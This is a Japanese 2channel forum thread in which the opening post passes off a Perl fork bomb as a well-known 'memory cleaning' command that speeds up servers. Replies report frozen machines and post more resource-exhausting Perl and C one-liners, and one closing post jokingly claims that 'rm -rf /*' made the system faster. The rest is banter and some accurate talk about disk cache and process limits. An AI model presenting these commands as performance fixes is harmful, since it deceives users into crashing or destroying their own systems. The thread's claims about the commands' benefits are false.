簡単!メモリクリーニング

1名無しさん@お腹いっぱい。
垢版 |
NGNG
UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、

$ perl -e 'while (1) { fork; }'

とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数%レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
NGNG
>>229
管理者教育をちゃんと受けてないんじゃないのか?

>>230
いや、わかってないからrootではいっちゃうんだろ。

...というのはつられたことになるのか?
NGNG
autologin とか passwd なしは
わかるけど、root で作業というのは違うだろう。
NGNG
>>237
root で日常作業できる人って、きっと「完璧な」バックアップとかしてるんだろうね。

まあ、役割としてadmin な人は別かなぁ、いや、admin の上の人がバックアップ体制
敷いてるのかな ?
NGNG
漏れは試験鯖つーかいつも遊んでる鯖があるからあえてrootでいじってる
業務鯖でrootはちょいとこわいですな
240名無しさん@お腹いっぱい。
垢版 |
NGNG
おれ>>1は知らんけど>>61みたいなやつを会社の実験サーバで耐久テストして
ハングしたことあるよ。solarisのすぱーくなんとかだかU1だか忘れたけど100Mhzくらいの
ボロいやつで。最近のは知らん。

みんな>>1ばっか報告してるんで>>61試して大丈夫か教えてくれよ。

NGNG
おまいがやれ
NGNG
┏━━━━━━━━┓
┃********┃
┃********┃
┃********┃
┃***○●***┃
┃***●○***┃
┃********┃
┃********┃
┃********┃
┗━━━━━━━━┛
243
垢版 |
NGNG
オセロ キタ━━━━━━(゚∀゚)━━━━━━ オヤクソク
NGNG
┏━━━━━━━━┓
┃********┃
┃********┃
┃***●****┃
┃***●●***┃
┃***●○***┃
┃********┃
┃********┃
┃********┃
┗━━━━━━━━┛
NGNG
なんでネタがなくなるとオセロなんだよぉ〜萎
つーかおまいらがんがんデータ取りやがれ
おながいします。
NGNG
取るとどうなるとか、誰か有意にまとめてくれるのかとか、そのへんがわからん。
NGNG
有意?にちゃんで?






プ
NGNG
┏━━━━━━━━┓
┃○○○○○○○○┃
┃○******○┃
┃○**●***○┃
┃○**●●**○┃
┃○**●○**○┃
┃○******○┃
┃○******○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
NGNG
>>247は、どんな有意義な事も無意味にしてしまうくらい場が冷める事平気で言う香具師
学校ではいつも独りぼっち
NGNG
有意 != 有意義
251名無しさん@お腹いっぱい。
垢版 |
NGNG
linuxのhdparm(8)を見ると、
Dangerous とか extreme caution
という単語がやたら出てくる。
まあDangerousといってもバクハツするわけじゃないだろうし

こういうのを使って
"簡単!ディスククリーニング" は、できないだろうか。
252名無しさん@お腹いっぱい。
垢版 |
NGNG
┏━━━━━━━━┓
┃○○○○○○○○┃
┃○******○┃
┃○**●***○┃
┃○**●●**○┃
┃○**●●●*○┃
┃○******○┃
┃○******○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
NGNG
>>251
マザーが、より速度の高いDMA(66)とかをサポートしていて
HDDがそれをサポートしてない場合に、HDDの限界を越える設定をすると
HDDが逝くかもね。 ためしてないからわからんが、勇者がいればやってくれ。
254名無しさん@お腹いっぱい。
垢版 |
NGNG
Linux 2.4.20-gentoo-r5でユーザー権限にて>>1を試すと、、、

で2秒くらいでマウスがアボーン、その直後からキーボードによる再起動を試みるも
無理。pingを撃ってみようとノートを起動してから撃ってみるとtime out.
しかたなく電源5秒押し。
222さんの報告見て、大丈夫だと思い込んでいたのでちょっとSHOCK!
NGNG
制限加えてない状態でやると、そうなるだろうねぇ。
NGNG
ユーザ権限で、しかも>>1じゃならんよ。
gentooのpatchがダメなんじゃないの?
NGNG
gentooはとんがったもん沢山あててるからなぁ
どれかにマズい不具合がまじってるかもね。
NGNG
むしろ、そのノートPCがあやしいかもしれん。
NGNG
>254
会社にある6台のLinuxマシンで試したらほぼ同様の結果。
サーバ運用中のマシンでやるなよ
NGNG
定量的な考察ができない連中ばかりいるのはこのスレですか?
NGNG
>>260
煽りなんだろうけど、いまいち意味がわからない。
NGNG
>>1 で落ちない、というだけでは十分ではない。
263222
垢版 |
NGNG
私も2.4.20-gentoo-r5ですけどなんの制限してなくても普通に動作してますよ。

ちなみにi686 Intel(R) Pentium(R) 4 CPU 2.40GHz + メモリ1Gの環境です。

NGNG
じゃあ運がよかったんだね。
だが、>>263の運もここまでだった。
まさか、あんなことになるなんて・・・
265222
垢版 |
NGNG
運?

とりあえず>>1みたいにforkせずとも以下のコマンドで見事にお亡くなりになる事は確認しました。
しかもこっちの方がメモリクリーニングっぽい。
perl -e '${"tmp".$i}=[0..100000000] while ($++i)'
266訂正
垢版 |
NGNG
ループ関係なく
${"tmp".$i}=[0..100000000]
だけで死んだみたいです。
NGNG
それはもうこのスレとは無関係の固有問題かと
NGNG
>>265
FreeBSD-CURRENTですが、一瞬で
Out of memory!
とでるだけで何も起きません。

一桁減らして
  perl -e '${"tmp".$i}=[0..10000000] while ($++i)'
にしてみるとしばらくの間重くなったけど正常に終了。
NGNG
perl -e '${"tmp".$i}=[0..100000000] while ($++i)'
Out of memory!

gentooでも同じく。
よくわからないんだけど、これは一体なにをしてるんだ?
270222
垢版 |
NGNG
0,1,2,...という値が入った100000000個の要素を持つ配列を永遠に作り続ける
という物です。(($++i)は(++$i)の間違いでした)実際には以下のもので代用可能です。
perl -e '@tmp = (0..100000000);'

ちなみに家の場合0を一つ増やして
perl -e '@tmp = (0..1000000000);
とするとちゃんとOut of memory!と出てくれます。
NGNG
結局>>1のプロセス食い潰しか
>>270のスワップ食い潰し
くらいしか案が出ないのか。

Win2kでも試してみたが、やっぱり資源が尽きるとダメだな。
LinuxとFreeBSDでも制限かけてない状態で資源食い潰すようになるとダメだめだ。
と、ここまではプロセスの話。

メモリとスワップの食い潰しは制限できるもんだろうか?
Win2kと、Linux、FreeBSD共に数秒後、HDDがガリガリ言いだして
放置しておくとと固まってるな。 やはり基本的に「スワップはったら負け」なんだろうか。
2kの方は、ページングファイル固定にしとくと、寿命が決定される。
可変にしとくと、HDD満タンになるまでガリガリ言ってるな。
満タンになったら氏んだ。
その間、作業らしい作業はできなかった。どのOSでもね。

FreeBSDのやりかたわからんけど、Linuxの方はAlt+SysRqで復旧は可能です。
Windowsは何もできなくなって、電源OFFしますた。
NGNG
メモリは普通にlimitがかけられるじゃん。でもswapはだめげ?
そもそも仮想メモリシステムの上では、ユーザは自分が実メモリにのってるの
かswapにのってるのか意識できないからなぁ....

ディスクI/O とか swap ネット帯域とか cpu時間とか メモリ量とか 帯域とか
いろいろ重み付けで加算した「負荷」を定義して、「負荷」をlimitすればい
いのかな。わりと挙動が予測できなくてイヤっぽいんだけど。
273名無しさん@お腹いっぱい。
垢版 |
NGNG
┏━━━━━━━━┓
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
NGNG
┏━━━━━━━━┓
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●○○○○●○┃
┃○●○●●○●○┃
┃○●○●●○●○┃
┃○●○○○○●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
NGNG
minfree近所まで減ったらOSが勝手にやってくれるのに・・・

なんでいちいちンなこと実行するんですか?
NGNG
ここに真面目なひとが....
NGNG
× 真面目な
○ 空気を読む神経回路が備わってない
278tatibana
垢版 |
NGNG
>>150
失礼ですね
どこの誰かもわからない低能と一緒にしないでいただきたい
279あぼーん
垢版 |
NGNG
あぼーん
280名無しさん@お腹いっぱい。
垢版 |
NGNG
結局カーネルとかいじらないで簡単安全メモリクリーニングってできないの?
NGNG
メモリクリーニングするといいことあるの?
282名無しさん@お腹いっぱい。
垢版 |
NGNG
勝手にディスクキャッシュにメモリ使われるのうざいからどうにかしたいんだよね。
それが有効利用だってことは良くわかってる。でもやめさせたい。メモリを勝手に使うな。
283名無しさん@お腹いっぱい。
垢版 |
NGNG
>>282
FreeBSD 4.x, 5.xならsysctl debug.vfscache=0でもするんだな。
284あぼーん
垢版 |
NGNG
あぼーん
285あぼーん
垢版 |
NGNG
あぼーん
NGNG
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
NGNG
メモリを勝手に使うな。
メモリを勝手に使うな。
メモリを勝手に使うな。
NGNG
なんか妙なメモリ観が出たな。おもしろいから発展させてよ
NGNG
まさにドズという欠陥OSとそのアプリがもたらした電波だな。
290
垢版 |
NGNG
犬板で割とよくある質問

----
From: [177] login:Penguin <>
Date: 03/07/23 20:21 ID:KoJVwpXS

freeで実メモリを確認すると、数時間後にはすぐfreeがゼロ近くになってしまう。
+/- buffers, cacheを見ればちゃんとfreeが豊富にあるからいいけど、
精神的にbuffersやcacheじゃなくて実メモリが回復して欲しい。

そんなコマンドはないの?

くだらねえ質問はここに書きこめ! Part53 [Linux]
http://pc.2ch.net/test/read.cgi/linux/1058846630/177
NGNG
>>289
あれにはVM無いからメインメモリーの残量が命だったもんねぇ。(遠い目)
Windows 9xシリーズにはVMはあったけれど似たような欠陥があったし。

ソフトを動かしていないときにはメモリー使用率が低いほうがいいと思うのはM$のせいだな。
NGNG
>>291
漏れはむしろ、

MS-DOSの640KBの壁に、チャレンジしてて、そのまんま来ちゃった人

だと思うのだがどうだ?
NGNG
>>292
むしろ古参の技術者に洗脳された口と見た。
チャレンジしていたような世代が今ごろ犬使うか?

メモリー開放伝説はsync;halt伝説とかfinal method伝説とかと同じ類だな。
294名無しさん@お腹いっぱい。
垢版 |
NGNG
俺もディスクキャッシュやめさせたい。ていうか減らしたい。
実メモリの空きしか見てないどうしようもないソフトがあって。
ディスクキャッシュで埋め尽くされるとそこで止まっちゃうんだよな。
NGNG
>>294
malloc() すればぁ。実装によってはデータ埋めてやらないと
いけないかも。cmalloc() だとどうかな
NGNG
cmalloc
297名無しさん@お腹いっぱい。
垢版 |
NGNG
cmallocってC言語・・・?
要するにメモリ確保するだけして開放するプログラムを自分で書けってことだよね?
298名無しさん@お腹いっぱい。
垢版 |
NGNG
あはは
299あぼーん
垢版 |
NGNG
あぼーん
300あぼーん
垢版 |
NGNG
あぼーん
301名無しさん@お腹いっぱい。
垢版 |
NGNG
埋めるのなんざmemsetで一発だろ
302名無しさん@お腹いっぱい。
垢版 |
NGNG
free(calloc(N,1));
303あぼーん
垢版 |
NGNG
あぼーん
NGNG
>>297
多分callocって言いたかったんじゃないの?
確保するだけでなく何らかのアクセスをしてpage faultを起こしてやらないとメモリーは解放されない。
callocってmallocしたあとに全領域をbzeroして書き換えてる(FreeBSD 4.8Rの実装)確保後のアクセスまでやってくれるってことだろうね。

NGNG
memsetとかallocとかいってるヤシ・・・

ネタだよね?
NGNG
>>294
> 実メモリの空きしか見てないどうしようもないソフトがあって。
キャッシュも見るようにおながいしてみれば?
307294
垢版 |
NGNG
>>304
プログラムのことはさっぱりわからないんだけど、それらはC言語の命令・・・なんだよね?

>>306
市販パッケージソフトなのでどうにもならないです・・・。
308304
垢版 |
NGNG
>>305
自分で試す気は毛頭無いけれど、まじめに書いているつもり。
309あぼーん
垢版 |
NGNG
あぼーん
NGNG
>>307
>C言語の命令

関数だろ、C なら。
311名無しさん@お腹いっぱい。
垢版 |
NGNG
>>310
初心者にむなしいツッコミすんな
312あぼーん
垢版 |
NGNG
あぼーん
NGNG
俺の頭にC言語の命令をとばすのはやめろおお
NGNG
win系はfork関数サポートしてないんじゃなかったっけ?
NGNG
fork関数
fork関数
fork関数

と。
NGNG
>>314 張っとく
http://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/vccore/html/_core_port_from_unix_to_win32.asp
NGNG
システムコール入り口への関数

と捉えると、fork関数でもよいではないかよいではないか
318名無しさん@お腹いっぱい。
垢版 |
NGNG
最近の話題サパーリ意味わからん
NGNG
forkダンス
forkダンス
forkダンス

と。
NGNG
>>1を走らせている状態(Load averageが1000を超えているような状態)でも
操作はできるけれど、ssh でログインできない。
sshd の親プロセスを nice -n -15 にしておいても、forkされる子プロセスの
優先度が 0 になってしまう。子プロセスの優先度も -15 にするためには、
openssh のソースを修正しなくちゃいけない?
321314
垢版 |
NGNG
>>316
遅レススマソ。THX
322あぼーん
垢版 |
NGNG
あぼーん
NGNG
むしろコスモクリーニング
324名無しさん@お腹いっぱい。
垢版 |
NGNG
小宇宙クリーニング
NGNG
あるいはメモリリーキング
326名無しさん@お腹いっぱい。
垢版 |
NGNG
リナックスは糞

これ常識
327名無しさん@お腹いっぱい。
垢版 |
NGNG
なんじゃこりやぁぁぁぁぁぁぁぁぁぁ
NGNG
>>95
昔、MacOS8で応答しなくなり、二時間たっても回復しないから帰った
次の日見たら、応答してて待っていたダイアログ出してたw
329名無しさん@お腹いっぱい。
垢版 |
NGNG
放置プレイ
330名無しさん@お腹いっぱい。
垢版 |
NGNG
Mac埼京
331名無しさん@お腹いっぱい。
垢版 |
NGNG
$echo main(){ while(!fork()); return 0; } >init.c ; gcc -o init init.c; ./init

とかだとどうかな?
332名無しさん@お腹いっぱい。
垢版 |
NGNG
脂肪
333名無しさん@お腹いっぱい。
垢版 |
NGNG
リナックス脂肪
334あぼーん
垢版 |
NGNG
あぼーん
NGNG
強制シャットダウンでディスクを壊さん程度に。
NGNG
すげー、rm -rf /* やったら超速くなりました
レスを投稿する

5ちゃんねるの広告が気に入らない場合は、こちらをクリックしてください。

ニューススポーツなんでも実況